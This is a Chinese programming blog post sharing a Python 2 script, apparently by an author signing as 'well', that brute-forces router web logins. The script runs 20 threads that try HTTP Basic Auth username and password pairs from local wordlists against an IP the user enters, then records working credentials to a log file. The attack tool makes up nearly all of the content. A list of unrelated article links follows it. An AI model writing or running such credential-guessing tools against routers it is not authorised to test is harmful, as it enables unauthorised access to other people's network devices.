python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
浅谈python中scipy.misc.logsumexp函数的运用场景
Jun 23 Python
Python Socket传输文件示例
Jan 16 Python
Tensorflow中使用tfrecord方式读取数据的方法
Jun 19 Python
Python设计模式之组合模式原理与用法实例分析
Jan 11 Python
ipython和python区别详解
Jun 26 Python
tensorflow之tf.record实现存浮点数数组
Feb 17 Python
Python3 assert断言实现原理解析
Mar 02 Python
Window系统下Python如何安装OpenCV库
Mar 05 Python
在tensorflow实现直接读取网络的参数(weight and bias)的值
Jun 24 Python
Python 必须了解的5种高级特征
Sep 10 Python
Python实现排序方法常见的四种
Jul 15 Python
python APScheduler执行定时任务介绍
Apr 19 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
如何开发一个虚拟域名系统
2006/10/09 PHP
PHP伪造来源HTTP_REFERER的方法实例详解
2015/07/06 PHP
Zend Framework实现多服务器共享SESSION数据的方法
2016/03/22 PHP
9个JavaScript评级/投票插件
2010/01/18 Javascript
jQuery实现的感应鼠标悬停图片色彩渐显效果
2015/03/03 Javascript
jQuery 实现ajax传入参数含有特殊字符的方法总结
2016/10/17 Javascript
JS组件系列之JS组件封装过程详解
2017/04/28 Javascript
vue+iview+less+echarts实战项目总结
2018/02/22 Javascript
vue组件实现弹出框点击显示隐藏效果
2020/10/26 Javascript
JavaScript中发出HTTP请求最常用的方法
2018/07/12 Javascript
nodejs 生成和导出 word的实例代码
2018/07/31 NodeJs
基于nodejs的雪碧图制作工具的示例代码
2018/11/05 NodeJs
VueCli3构建TS项目的方法步骤
2018/11/07 Javascript
JavaScript 函数用法详解【函数定义、参数、绑定、作用域、闭包等】
2020/05/12 Javascript
[48:54]VGJ.T vs infamous Supermajor小组赛D组败者组第一轮 BO3 第二场 6.3
2018/06/04 DOTA
Python中static相关知识小结
2018/01/02 Python
用python实现百度翻译的示例代码
2018/03/09 Python
在Python中字典根据多项规则排序的方法
2019/01/21 Python
如何关掉pycharm中的python console(图解)
2019/10/31 Python
Python实现读取并写入Excel文件过程解析
2020/05/27 Python
CSS的pointer-events属性详细介绍(作用和注意事项)
2014/04/23 HTML / CSS
Application Cache未缓存文件无法访问无法加载问题
2014/05/31 HTML / CSS
html5的canvas方法使用指南
2014/12/15 HTML / CSS
Lookfantastic挪威官网:英国知名美妆购物网站
2017/07/26 全球购物
Shell如何接收变量输入
2012/09/24 面试题
学生实习推荐信范文
2013/11/26 职场文书
求职信怎么写范文
2014/05/26 职场文书
承诺书范文
2014/06/03 职场文书
市场营销毕业求职信
2014/08/07 职场文书
2014年银行员工年终自我评价
2014/09/19 职场文书
2014年高数考试作弊检讨书
2014/12/14 职场文书
初中成绩单评语
2014/12/29 职场文书
房地产项目合作意向书
2015/05/08 职场文书
2019年暑期安全广播稿!
2019/07/03 职场文书
Windows 11要来了?微软文档揭示Win11太阳谷 / Win10有两个不同版本
2021/11/21 数码科技
JMeter对MySQL数据库进行压力测试的实现步骤
2022/01/22 MySQL